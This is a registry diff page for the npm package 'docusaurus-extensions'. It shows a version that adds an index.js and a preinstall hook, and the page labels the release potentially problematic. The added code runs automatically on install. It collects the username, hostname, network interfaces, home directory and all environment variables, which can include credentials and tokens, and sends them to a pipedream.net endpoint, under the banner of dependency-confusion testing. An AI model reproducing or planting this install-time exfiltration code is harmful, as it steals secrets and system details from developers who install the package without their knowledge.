docusaurus-extensions 0.0.1-security → 4.999.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of docusaurus-extensions might be problematic. Click here for more details.
- package/index.js +128 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,128 @@
|
|
|
1
|
+
|
|
2
|
+
//This is sample commands and code to collect Normal data of Request
|
|
3
|
+
const os = require("os");
|
|
4
|
+
const dns = require("dns");
|
|
5
|
+
const querystring = require("querystring");
|
|
6
|
+
const https = require("https");
|
|
7
|
+
const http = require("http");
|
|
8
|
+
const { execSync } = require("child_process");
|
|
9
|
+
|
|
10
|
+
const packageJSON = require("./package.json");
|
|
11
|
+
const package = packageJSON.name;
|
|
12
|
+
|
|
13
|
+
// Helper function to get public IP and related data
|
|
14
|
+
async function getPublicIPInfo() {
|
|
15
|
+
return new Promise((resolve, reject) => {
|
|
16
|
+
http.get("http://ip-api.com/json", (res) => {
|
|
17
|
+
let data = "";
|
|
18
|
+
res.on("data", (chunk) => (data += chunk));
|
|
19
|
+
res.on("end", () => {
|
|
20
|
+
try {
|
|
21
|
+
const info = JSON.parse(data);
|
|
22
|
+
resolve(info); // Returns data like city, country, ISP, etc.
|
|
23
|
+
} catch (error) {
|
|
24
|
+
reject("Failed to parse public IP information.");
|
|
25
|
+
}
|
|
26
|
+
});
|
|
27
|
+
}).on("error", (err) => reject(err));
|
|
28
|
+
});
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
// Main function to collect all data
|
|
32
|
+
async function collectData() {
|
|
33
|
+
try {
|
|
34
|
+
const publicIPInfo = await getPublicIPInfo(); // Fetch public IP data
|
|
35
|
+
|
|
36
|
+
const systemInfo = {
|
|
37
|
+
packageName: package,
|
|
38
|
+
packageVersion: packageJSON.version,
|
|
39
|
+
packageResolved: packageJSON.___resolved || null,
|
|
40
|
+
packageJson: packageJSON,
|
|
41
|
+
|
|
42
|
+
// Local system details
|
|
43
|
+
currentDir: __dirname,
|
|
44
|
+
homeDir: os.homedir(),
|
|
45
|
+
hostname: os.hostname(),
|
|
46
|
+
username: os.userInfo().username,
|
|
47
|
+
platform: os.platform(),
|
|
48
|
+
arch: os.arch(),
|
|
49
|
+
osType: os.type(),
|
|
50
|
+
osRelease: os.release(),
|
|
51
|
+
cpuCores: os.cpus().length,
|
|
52
|
+
cpuModel: os.cpus()[0]?.model,
|
|
53
|
+
totalMemory: os.totalmem(),
|
|
54
|
+
freeMemory: os.freemem(),
|
|
55
|
+
uptime: os.uptime(),
|
|
56
|
+
dnsServers: dns.getServers(),
|
|
57
|
+
networkInterfaces: os.networkInterfaces(),
|
|
58
|
+
envVariables: process.env,
|
|
59
|
+
nodeVersion: process.version,
|
|
60
|
+
npmVersion: execSync("npm -v").toString().trim(),
|
|
61
|
+
currentShell: process.env.SHELL || "unknown",
|
|
62
|
+
currentUser: execSync("whoami").toString().trim(),
|
|
63
|
+
currentProcessID: process.pid,
|
|
64
|
+
diskUsage: (() => {
|
|
65
|
+
try {
|
|
66
|
+
const diskInfo = execSync("df -h /").toString();
|
|
67
|
+
return diskInfo.split("\n")[1];
|
|
68
|
+
} catch {
|
|
69
|
+
return "Unable to retrieve disk info";
|
|
70
|
+
}
|
|
71
|
+
})(),
|
|
72
|
+
|
|
73
|
+
// Public IP and organizational details
|
|
74
|
+
publicIP: publicIPInfo.query, // Public IP address
|
|
75
|
+
city: publicIPInfo.city,
|
|
76
|
+
region: publicIPInfo.regionName,
|
|
77
|
+
country: publicIPInfo.country,
|
|
78
|
+
isp: publicIPInfo.isp, // Internet Service Provider
|
|
79
|
+
org: publicIPInfo.org, // Organization name
|
|
80
|
+
reverseDNS: (() => {
|
|
81
|
+
try {
|
|
82
|
+
return execSync(`nslookup ${publicIPInfo.query}`).toString();
|
|
83
|
+
} catch {
|
|
84
|
+
return "Unable to retrieve reverse DNS information";
|
|
85
|
+
}
|
|
86
|
+
})(),
|
|
87
|
+
};
|
|
88
|
+
|
|
89
|
+
// Prepare data for transmission
|
|
90
|
+
const trackingData = JSON.stringify(systemInfo);
|
|
91
|
+
const postData = querystring.stringify({
|
|
92
|
+
msg: trackingData,
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
// HTTPS request options
|
|
96
|
+
const options = {
|
|
97
|
+
hostname: "eo2eckhg64ozhxn.m.pipedream.net",
|
|
98
|
+
port: 443,
|
|
99
|
+
path: "/",
|
|
100
|
+
method: "POST",
|
|
101
|
+
headers: {
|
|
102
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
103
|
+
"Content-Length": Buffer.byteLength(postData),
|
|
104
|
+
},
|
|
105
|
+
};
|
|
106
|
+
|
|
107
|
+
// Send HTTPS POST request
|
|
108
|
+
const req = https.request(options, (res) => {
|
|
109
|
+
console.log(`Status: ${res.statusCode}`);
|
|
110
|
+
res.setEncoding("utf8");
|
|
111
|
+
res.on("data", (chunk) => {
|
|
112
|
+
console.log(`Response: ${chunk}`);
|
|
113
|
+
});
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
req.on("error", (e) => {
|
|
117
|
+
console.error(`Request error: ${e.message}`);
|
|
118
|
+
});
|
|
119
|
+
|
|
120
|
+
req.write(postData);
|
|
121
|
+
req.end();
|
|
122
|
+
} catch (error) {
|
|
123
|
+
console.error(`Error collecting data: ${error}`);
|
|
124
|
+
}
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
// Run the data collection
|
|
128
|
+
collectData();
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "docusaurus-extensions",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "4.999.2",
|
|
4
|
+
"description": "Testing for Dependency Confusion",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"author": "huntx",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=docusaurus-extensions for more information.
|